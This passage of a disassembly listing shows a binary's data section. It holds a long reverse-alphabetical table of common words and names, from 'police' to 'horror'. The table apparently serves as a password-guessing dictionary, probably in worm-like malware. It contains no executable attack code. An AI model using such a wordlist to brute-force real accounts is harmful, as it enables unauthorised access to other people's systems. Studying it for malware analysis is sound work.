aPolice		db 'police',0           ; DATA XREF: ___:00430A18o
		align 10h
aPoetry		db 'poetry',0           ; DATA XREF: ___:00430A14o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430A10o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430A0Co
		align 4
aPlover		db 'plover',0           ; DATA XREF: ___:00430A08o
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:00430A04o
aPlane		db 'plane',0            ; DATA XREF: ___:00430A00o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:004309FCo
		align 4
aPiss		db 'piss',0             ; DATA XREF: ___:004309F8o
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:004309F4o
aPimp		db 'pimp',0             ; DATA XREF: ___:004309F0o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:004309ECo
		align 4
aPick		db 'pick',0             ; DATA XREF: ___:004309E8o
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:004309E4o
		align 4
aPhreak		db 'phreak',0           ; DATA XREF: ___:004309E0o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:004309DCo
		align 4
aPhrack		db 'phrack',0           ; DATA XREF: ___:004309D8o
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:004309D4o
		align 4
aPhone		db 'phone',0            ; DATA XREF: ___:004309D0o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:004309CCo
aPhilip		db 'philip',0           ; DATA XREF: ___:004309C8o
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:004309C4o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004309C0o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:004309BCo
		align 4
aPervert	db 'pervert',0          ; DATA XREF: ___:004309B8o
aPersona	db 'persona',0          ; DATA XREF: ___:004309B4o
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:004309B0o
		align 4
aPermit		db 'permit',0           ; DATA XREF: ___:004309ACo
		align 10h
aPerfect	db 'perfect',0          ; DATA XREF: ___:004309A8o
aPercolat	db 'percolat',0         ; DATA XREF: ___:004309A4o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:004309A0o
		align 4
aPeoria		db 'peoria',0           ; DATA XREF: ___:0043099Co
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:00430998o
aPenthous	db 'penthous',0         ; DATA XREF: ___:00430994o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430990o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:0043098Co
		align 10h
aPenname	db 'penname',0          ; DATA XREF: ___:00430988o
aPenis		db 'penis',0            ; DATA XREF: ___:00430984o
		align 10h
aPenguin	db 'penguin',0          ; DATA XREF: ___:00430980o
aPenelope	db 'penelope',0         ; DATA XREF: ___:0043097Co
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:00430978o
		align 4
aPecker		db 'pecker',0           ; DATA XREF: ___:00430974o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:00430970o
aPaula		db 'paula',0            ; DATA XREF: ___:0043096Co
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:00430968o
		align 4
aPatriot	db 'patriot',0          ; DATA XREF: ___:00430964o
aPatricia	db 'patricia',0         ; DATA XREF: ___:00430960o
		align 10h
aPaste		db 'paste',0            ; DATA XREF: ___:0043095Co
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:00430958o
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:00430954o
		align 4
aPapers		db 'papers',0           ; DATA XREF: ___:00430950o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:0043094Co
		align 4
aPapa		db 'papa',0             ; DATA XREF: ___:00430948o
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:00430944o
		align 4
aPakistan	db 'pakistan',0         ; DATA XREF: ___:00430940o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:0043093Co
		align 10h
aPainless	db 'painless',0         ; DATA XREF: ___:00430938o
		align 4
aPacker		db 'packer',0           ; DATA XREF: ___:00430934o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:00430930o
aPacific	db 'pacific',0          ; DATA XREF: ___:0043092Co
aOxford		db 'oxford',0           ; DATA XREF: ___:00430928o
		align 4
aOutside	db 'outside',0          ; DATA XREF: ___:00430924o
aOutput		db 'output',0           ; DATA XREF: ___:00430920o
		align 4
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:0043091Co
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:00430918o
		align 10h
aOsiris		db 'osiris',0           ; DATA XREF: ___:00430914o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:00430910o
		align 10h
aOrwell		db 'orwell',0           ; DATA XREF: ___:0043090Co
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:00430908o
		align 10h
aOrca		db 'orca',0             ; DATA XREF: ___:00430904o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:00430900o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:004308FCo
		align 10h
aOpenlock	db 'openlock',0         ; DATA XREF: ___:004308F8o
		align 4
aOpening	db 'opening',0          ; DATA XREF: ___:004308F4o
aOmega		db 'omega',0            ; DATA XREF: ___:004308ECo
		align 4
aOlivia		db 'olivia',0           ; DATA XREF: ___:004308E8o
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:004308E4o
		align 10h
aOldage		db 'oldage',0           ; DATA XREF: ___:004308E0o
		align 4
aOkay		db 'okay',0             ; DATA XREF: ___:004308DCo
		align 10h
aOffice		db 'office',0           ; DATA XREF: ___:004308D8o
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: ___:004308D4o
		align 10h
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:004308D0o
		align 4
aObscurit	db 'obscurit',0         ; DATA XREF: ___:004308CCo
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: ___:004308C8o
aNuts		db 'nuts',0             ; DATA XREF: ___:004308C4o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: ___:004308C0o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:004308BCo
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:004308B8o
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:004308B4o
		align 4
aNuke		db 'nuke',0             ; DATA XREF: ___:004308B0o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:004308ACo
		align 4
aNuclear	db 'nuclear',0          ; DATA XREF: ___:004308A8o
aNoxious	db 'noxious',0          ; DATA XREF: ___:004308A4o
aNovember	db 'november',0         ; DATA XREF: ___:004308A0o
		align 4
aNovel		db 'novel',0            ; DATA XREF: ___:0043089Co
		align 10h
aNova		db 'nova',0             ; DATA XREF: ___:00430898o
		align 4
aNoth		db 'noth',0             ; DATA XREF: ___:00430894o
		align 10h
aNotes		db 'notes',0            ; DATA XREF: ___:00430890o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: ___:0043088Co
		align 10h
aNode		db 'node',0             ; DATA XREF: ___:00430888o
		align 4
aNobody		db 'nobody',0           ; DATA XREF: ___:00430884o
		align 10h
aNoble		db 'noble',0            ; DATA XREF: ___:00430880o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:0043087Co
		align 10h
aNita		db 'nita',0             ; DATA XREF: ___:00430878o
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: ___:00430874o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:00430870o
		align 10h
aNight		db 'night',0            ; DATA XREF: ___:0043086Co
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: ___:00430868o
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:00430864o
		align 4
aNice		db 'nice',0             ; DATA XREF: ___:00430860o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:0043085Co
		align 4
aNewyork	db 'newyork',0          ; DATA XREF: ___:00430858o
aNewton		db 'newton',0           ; DATA XREF: ___:00430854o
		align 4
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:00430850o
		align 4
aNews		db 'news',0             ; DATA XREF: ___:0043084Co
		align 10h
aNewborn	db 'newborn',0          ; DATA XREF: ___:00430848o
aNetwork_0	db 'network',0          ; DATA XREF: ___:00430844o
aNetscape	db 'netscape',0         ; DATA XREF: ___:00430840o
		align 4
aNess		db 'ness',0             ; DATA XREF: ___:0043083Co
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:00430838o
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:00430834o
		align 4
aNavy		db 'navy',0             ; DATA XREF: ___:00430830o
		align 10h
aNasa		db 'nasa',0             ; DATA XREF: ___:0043082Co
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:00430828o
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:00430824o
		align 4
aName		db 'name',0             ; DATA XREF: ___:00430820o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:0043081Co
		align 4
aMutant		db 'mutant',0           ; DATA XREF: ___:00430818o
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:00430814o
aMsdos		db 'msdos',0            ; DATA XREF: ___:00430810o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:0043080Co
		align 4
aMozart		db 'mozart',0           ; DATA XREF: ___:00430808o
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:00430804o
		align 4
aMovie		db 'movie',0            ; DATA XREF: ___:00430800o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:004307FCo
		align 4
aMouse		db 'mouse',0            ; DATA XREF: ___:004307F8o
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:004307F4o
		align 10h
aMosaic		db 'mosaic',0           ; DATA XREF: ___:004307F0o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: ___:004307ECo
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:004307E8o
		align 10h
aMortal		db 'mortal',0           ; DATA XREF: ___:004307E4o
		align 4
aMorris		db 'morris',0           ; DATA XREF: ___:004307E0o
		align 10h
aMorley		db 'morley',0           ; DATA XREF: ___:004307DCo
		align 4
aMore		db 'more',0             ; DATA XREF: ___:004307D8o
		align 10h
aMoose		db 'moose',0            ; DATA XREF: ___:004307D4o
		align 4
aMoor		db 'moor',0             ; DATA XREF: ___:004307D0o
		align 10h
aMoom		db 'moom',0             ; DATA XREF: ___:004307CCo
		align 4
aMonica		db 'monica',0           ; DATA XREF: ___:004307C8o
		align 10h
aMonday		db 'monday',0           ; DATA XREF: ___:004307C4o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: ___:004307C0o
		align 10h
aMogul		db 'mogul',0            ; DATA XREF: ___:004307BCo
		align 4
aModem		db 'modem',0            ; DATA XREF: ___:004307B8o
		align 10h
aMode		db 'mode',0             ; DATA XREF: ___:004307B4o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: ___:004307B0o
		align 10h
aMission	db 'mission',0          ; DATA XREF: ___:004307ACo
aMisfit		db 'misfit',0           ; DATA XREF: ___:004307A8o
		align 10h
aMinsky		db 'minsky',0           ; DATA XREF: ___:004307A4o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: ___:004307A0o
aMine		db 'mine',0             ; DATA XREF: ___:0043079Co
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:00430798o
		align 10h
aMidieval	db 'midieval',0         ; DATA XREF: ___:00430794o
		align 4
aMicrosof	db 'microsof',0         ; DATA XREF: ___:00430790o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: ___:0043078Co
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:00430788o
		align 10h
aMicro		db 'micro',0            ; DATA XREF: ___:00430784o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: ___:00430780o
		align 10h
aMichelle	db 'michelle',0         ; DATA XREF: ___:0043077Co
		align 4
aMichele	db 'michele',0          ; DATA XREF: ___:00430778o
aMichelan	db 'michelan',0         ; DATA XREF: ___:00430774o
		align 10h
aMichel		db 'michel',0           ; DATA XREF: ___:00430770o
		align 4
aMichael	db 'michael',0          ; DATA XREF: ___:0043076Co
aMice		db 'mice',0             ; DATA XREF: ___:00430768o
		align 4
aMets		db 'mets',0             ; DATA XREF: ___:00430764o
		align 10h
aMetalica	db 'metalica',0         ; DATA XREF: ___:00430760o
		align 4
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:0043075Co
		align 4
aMetal		db 'metal',0            ; DATA XREF: ___:00430758o
		align 10h
aMerlin		db 'merlin',0           ; DATA XREF: ___:00430754o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: ___:00430750o
aMenu		db 'menu',0             ; DATA XREF: ___:0043074Co
		align 4
aMenace		db 'menace',0           ; DATA XREF: ___:00430748o
		align 10h
aMemory		db 'memory',0           ; DATA XREF: ___:00430744o
		align 4
aMember		db 'member',0           ; DATA XREF: ___:00430740o
		align 10h
aMelrose	db 'melrose',0          ; DATA XREF: ___:0043073Co
aMellon		db 'mellon',0           ; DATA XREF: ___:00430738o
		align 10h
aMelissa	db 'melissa',0          ; DATA XREF: ___:00430734o
aMegan		db 'megan',0            ; DATA XREF: ___:00430730o
		align 10h
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:0043072Co
		align 4
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:00430728o
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: ___:00430724o
		align 10h
aMaurice	db 'maurice',0          ; DATA XREF: ___:00430720o
aMath		db 'math',0             ; DATA XREF: ___:0043071Co
		align 10h
aMaster		db 'master',0           ; DATA XREF: ___:00430718o
		align 4
aMason		db 'mason',0            ; DATA XREF: ___:00430714o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00430710o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: ___:0043070Co
		align 10h
aMarty		db 'marty',0            ; DATA XREF: ___:00430708o
		align 4
aMars		db 'mars',0             ; DATA XREF: ___:00430704o
		align 10h
aMarriage	db 'marriage',0         ; DATA XREF: ___:00430700o
		align 4
aMarni		db 'marni',0            ; DATA XREF: ___:004306FCo
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:004306F8o
		align 4
aMark		db 'mark',0             ; DATA XREF: ___:004306F4o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:004306F0o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:004306ECo
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: ___:004306E8o
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:004306E4o
aMaria		db 'maria',0            ; DATA XREF: ___:004306E0o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:004306DCo
		align 4
aMarci		db 'marci',0            ; DATA XREF: ___:004306D8o
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:004306D4o
		align 4
aManager	db 'manager',0          ; DATA XREF: ___:004306D0o
aMana		db 'mana',0             ; DATA XREF: ___:004306CCo
		align 4
aMalcom		db 'malcom',0           ; DATA XREF: ___:004306C8o
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:004306C4o
aMaint		db 'maint',0            ; DATA XREF: ___:004306C0o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:004306BCo
		align 4
aMagnet		db 'magnet',0           ; DATA XREF: ___:004306B8o
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:004306B4o
		align 4
aMaggot		db 'maggot',0           ; DATA XREF: ___:004306B0o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:004306ACo
		align 4
aMack		db 'mack',0             ; DATA XREF: ___:004306A8o
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:004306A4o
		align 10h
aMachine	db 'machine',0          ; DATA XREF: ___:004306A0o
aLynne		db 'lynne',0            ; DATA XREF: ___:0043069Co
		align 10h
aLynn		db 'lynn',0             ; DATA XREF: ___:00430698o
		align 4
aLust		db 'lust',0             ; DATA XREF: ___:00430694o
		align 10h
aLuke		db 'luke',0             ; DATA XREF: ___:00430690o
		align 4
aLude		db 'lude',0             ; DATA XREF: ___:0043068Co
		align 10h
aLucy		db 'lucy',0             ; DATA XREF: ___:00430688o
		align 4
aLucus		db 'lucus',0            ; DATA XREF: ___:00430684o
		align 10h
aLuck		db 'luck',0             ; DATA XREF: ___:00430680o
		align 4
aLover		db 'lover',0            ; DATA XREF: ___:0043067Co
		align 10h
aLovebug	db 'lovebug',0          ; DATA XREF: ___:00430678o
aLouis		db 'louis',0            ; DATA XREF: ___:00430674o
		align 10h
aLoser		db 'loser',0            ; DATA XREF: ___:00430670o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: ___:0043066Co
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:00430668o
		align 4
aLori		db 'lori',0             ; DATA XREF: ___:00430664o
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:00430660o
		align 4
aLoose		db 'loose',0            ; DATA XREF: ___:0043065Co
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:00430658o
		align 4
aLois		db 'lois',0             ; DATA XREF: ___:00430654o
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:00430650o
		align 4
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:0043064Co
		align 4
aLogic		db 'logic',0            ; DATA XREF: ___:00430648o
		align 10h
aLockword	db 'lockword',0         ; DATA XREF: ___:00430644o
		align 4
aLockout	db 'lockout',0          ; DATA XREF: ___:00430640o
aLock		db 'lock',0             ; DATA XREF: ___:0043063Co
		align 4
aLoad		db 'load',0             ; DATA XREF: ___:00430638o
		align 4
aLive		db 'live',0             ; DATA XREF: ___:00430634o
		align 4
aLiteratu	db 'literatu',0         ; DATA XREF: ___:00430630o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: ___:0043062Co
		align 10h
aLisa		db 'lisa',0             ; DATA XREF: ___:00430628o
		align 4
aLips		db 'lips',0             ; DATA XREF: ___:00430624o
		align 10h
aLion		db 'lion',0             ; DATA XREF: ___:00430620o
		align 4
aLink		db 'link',0             ; DATA XREF: ___:0043061Co
		align 10h
aLinda		db 'linda',0            ; DATA XREF: ___:00430618o
		align 4
aLimited	db 'limited',0          ; DATA XREF: ___:00430614o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:00430610o
		align 4
aLima		db 'lima',0             ; DATA XREF: ___:0043060Co
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:00430608o
		align 10h
aLight		db 'light',0            ; DATA XREF: ___:00430604o
		align 4
aLife		db 'life',0             ; DATA XREF: ___:00430600o
		align 10h
aLicker		db 'licker',0           ; DATA XREF: ___:004305FCo
		align 4
aLick		db 'lick',0             ; DATA XREF: ___:004305F8o
		align 10h
aLibrary	db 'library',0          ; DATA XREF: ___:004305F4o
aLiberal	db 'liberal',0          ; DATA XREF: ___:004305F0o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:004305ECo
		align 4
aLewis		db 'lewis',0            ; DATA XREF: ___:004305E8o
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:004305E4o
aLeslie		db 'leslie',0           ; DATA XREF: ___:004305E0o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:004305DCo
aLeroy		db 'leroy',0            ; DATA XREF: ___:004305D8o
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:004305D4o
		align 4
aLegal		db 'legal',0            ; DATA XREF: ___:004305D0o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:004305CCo
		align 10h
aLeft		db 'left',0             ; DATA XREF: ___:004305C8o
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:004305C4o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:004305C0o
		align 4
aLazer		db 'lazer',0            ; DATA XREF: ___:004305BCo
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:004305B8o
aLava		db 'lava',0             ; DATA XREF: ___:004305B4o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:004305B0o
		align 4
aLaser		db 'laser',0            ; DATA XREF: ___:004305ACo
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:004305A8o
		align 4
aLarkin		db 'larkin',0           ; DATA XREF: ___:004305A4o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:004305A0o
		align 4
aLaptop		db 'laptop',0           ; DATA XREF: ___:0043059Co
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:00430598o
		align 4
aLaminati	db 'laminati',0         ; DATA XREF: ___:00430594o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: ___:00430590o
		align 10h
aLakers		db 'lakers',0           ; DATA XREF: ___:0043058Co
		align 4
aLadle		db 'ladle',0            ; DATA XREF: ___:00430588o
		align 10h
aLadies		db 'ladies',0           ; DATA XREF: ___:00430584o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: ___:00430580o
		align 10h
aKristine	db 'kristine',0         ; DATA XREF: ___:0043057Co
		align 4
aKristin	db 'kristin',0          ; DATA XREF: ___:00430578o
aKristie	db 'kristie',0          ; DATA XREF: ___:00430574o
aKristi		db 'kristi',0           ; DATA XREF: ___:00430570o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:0043056Co
aKrista		db 'krista',0           ; DATA XREF: ___:00430568o
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:00430564o
		align 4
aKnightma	db 'knightma',0         ; DATA XREF: ___:00430560o
		align 4
aKnight		db 'knight',0           ; DATA XREF: ___:0043055Co
		align 10h
aKnife		db 'knife',0            ; DATA XREF: ___:00430558o
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: ___:00430554o
aKitten		db 'kitten',0           ; DATA XREF: ___:00430550o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:0043054Co
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:00430548o
		align 4
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00430544o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: ___:00430540o
		align 10h
aKing		db 'king',0             ; DATA XREF: ___:0043053Co
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: ___:00430538o
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00430534o
		align 4
aKillthem	db 'killthem',0         ; DATA XREF: ___:00430530o
		align 4
aKill		db 'kill',0             ; DATA XREF: ___:0043052Co
		align 10h
aKids		db 'kids',0             ; DATA XREF: ___:00430528o
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: ___:00430524o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00430520o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: ___:0043051Co
aKewl		db 'kewl',0             ; DATA XREF: ___:00430518o
		align 4
aKevin		db 'kevin',0            ; DATA XREF: ___:00430514o
		align 10h
aKerry		db 'kerry',0            ; DATA XREF: ___:00430510o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: ___:0043050Co
		align 10h
aKerri		db 'kerri',0            ; DATA XREF: ___:00430508o
		align 4
aKernel		db 'kernel',0           ; DATA XREF: ___:00430504o
		align 10h
aKermit		db 'kermit',0           ; DATA XREF: ___:00430500o
		align 4
aKeri		db 'keri',0             ; DATA XREF: ___:004304FCo
		align 10h
aKelly		db 'kelly',0            ; DATA XREF: ___:004304F8o
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: ___:004304F4o
aKatina		db 'katina',0           ; DATA XREF: ___:004304F0o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: ___:004304ECo
		align 10h
aKathrine	db 'kathrine',0         ; DATA XREF: ___:004304E8o
		align 4
aKathleen	db 'kathleen',0         ; DATA XREF: ___:004304E4o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004304E0o
		align 10h
aKatana		db 'katana',0           ; DATA XREF: ___:004304DCo
		align 4
aKarina		db 'karina',0           ; DATA XREF: ___:004304D8o
		align 10h
aKarie		db 'karie',0            ; DATA XREF: ___:004304D4o
		align 4
aKaren		db 'karen',0            ; DATA XREF: ___:004304D0o
		align 10h
aKaka		db 'kaka',0             ; DATA XREF: ___:004304CCo
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: ___:004304C8o
aJune		db 'june',0             ; DATA XREF: ___:004304C4o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: ___:004304C0o
		align 10h
aJulie		db 'julie',0            ; DATA XREF: ___:004304BCo
		align 4
aJulia		db 'julia',0            ; DATA XREF: ___:004304B8o
		align 10h
aJuicy		db 'juicy',0            ; DATA XREF: ___:004304B4o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: ___:004304B0o
		align 10h
aJudy		db 'judy',0             ; DATA XREF: ___:004304ACo
		align 4
aJudith		db 'judith',0           ; DATA XREF: ___:004304A8o
		align 10h
aJoyce		db 'joyce',0            ; DATA XREF: ___:004304A4o
		align 4
aJournal	db 'journal',0          ; DATA XREF: ___:004304A0o
aJoshua		db 'joshua',0           ; DATA XREF: ___:0043049Co
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: ___:00430498o
		align 10h
aJohnny		db 'johnny',0           ; DATA XREF: ___:00430494o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00430490o
aJohn		db 'john',0             ; DATA XREF: ___:0043048Co
		align 4
aJody		db 'jody',0             ; DATA XREF: ___:00430488o
		align 10h
aJoanne		db 'joanne',0           ; DATA XREF: ___:00430484o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: ___:00430480o
		align 10h
aJill		db 'jill',0             ; DATA XREF: ___:0043047Co
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: ___:00430478o
aJester		db 'jester',0           ; DATA XREF: ___:00430474o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: ___:00430470o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:0043046Co
		align 4
aJerry		db 'jerry',0            ; DATA XREF: ___:00430468o
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00430464o
		align 4
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00430460o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: ___:0043045Co
		align 10h
aJeff		db 'jeff',0             ; DATA XREF: ___:00430458o
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00430454o
		align 10h
aJean		db 'jean',0             ; DATA XREF: ___:00430450o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: ___:0043044Co
		align 10h
aJava		db 'java',0             ; DATA XREF: ___:00430448o
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00430444o
		align 10h
aJapan		db 'japan',0            ; DATA XREF: ___:00430440o
		align 4
aJanie		db 'janie',0            ; DATA XREF: ___:0043043Co
		align 10h
aJanice		db 'janice',0           ; DATA XREF: ___:00430438o
		align 4
aJanet		db 'janet',0            ; DATA XREF: ___:00430434o
		align 10h
aJane		db 'jane',0             ; DATA XREF: ___:00430430o
		align 4
aJail		db 'jail',0             ; DATA XREF: ___:0043042Co
		align 10h
aJackie		db 'jackie',0           ; DATA XREF: ___:00430428o
		align 4
aIsis		db 'isis',0             ; DATA XREF: ___:00430424o
		align 10h
aIrishman	db 'irishman',0         ; DATA XREF: ___:00430420o
		align 4
aIrene		db 'irene',0            ; DATA XREF: ___:0043041Co
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:00430418o
		align 4
aInteger	db 'integer',0          ; DATA XREF: ___:00430414o
aInside		db 'inside',0           ; DATA XREF: ___:00430410o
		align 4
aInput		db 'input',0            ; DATA XREF: ___:0043040Co
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:00430408o
		align 10h
aInna		db 'inna',0             ; DATA XREF: ___:00430404o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00430400o
		align 10h
aIngress	db 'ingress',0          ; DATA XREF: ___:004303FCo
aIngres		db 'ingres',0           ; DATA XREF: ___:004303F8o
		align 10h
aIndians	db 'indians',0          ; DATA XREF: ___:004303F4o
aIndiana	db 'indiana',0          ; DATA XREF: ___:004303F0o
aIndian		db 'indian',0           ; DATA XREF: ___:004303ECo
		align 4
aIndia		db 'india',0            ; DATA XREF: ___:004303E8o
		align 10h
aInclude	db 'include',0          ; DATA XREF: ___:004303E4o
aImperial	db 'imperial',0         ; DATA XREF: ___:004303E0o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:004303DCo
		align 10h
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:004303D8o
		align 4
aImage		db 'image',0            ; DATA XREF: ___:004303D4o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:004303D0o
		align 10h
aIcecream	db 'icecream',0         ; DATA XREF: ___:004303CCo
		align 4
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:004303C8o
		align 4
aHyper		db 'hyper',0            ; DATA XREF: ___:004303C4o
		align 10h
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:004303C0o
		align 4
aHutchins	db 'hutchins',0         ; DATA XREF: ___:004303BCo
		align 4
aHunter		db 'hunter',0           ; DATA XREF: ___:004303B8o
		align 10h
aHunt		db 'hunt',0             ; DATA XREF: ___:004303B4o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: ___:004303B0o
		align 10h
aHotel		db 'hotel',0            ; DATA XREF: ___:004303ACo
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: ___:004303A8o
		align 10h
aHost		db 'host',0             ; DATA XREF: ___:004303A4o
		align 4
aHorus		db 'horus',0            ; DATA XREF: ___:004303A0o
		align 10h
aHorse		db 'horse',0            ; DATA XREF: ___:0043039Co
		align 4
aHorror		db 'horror',0           ; DATA XREF: ___:00430398o
		align 10h
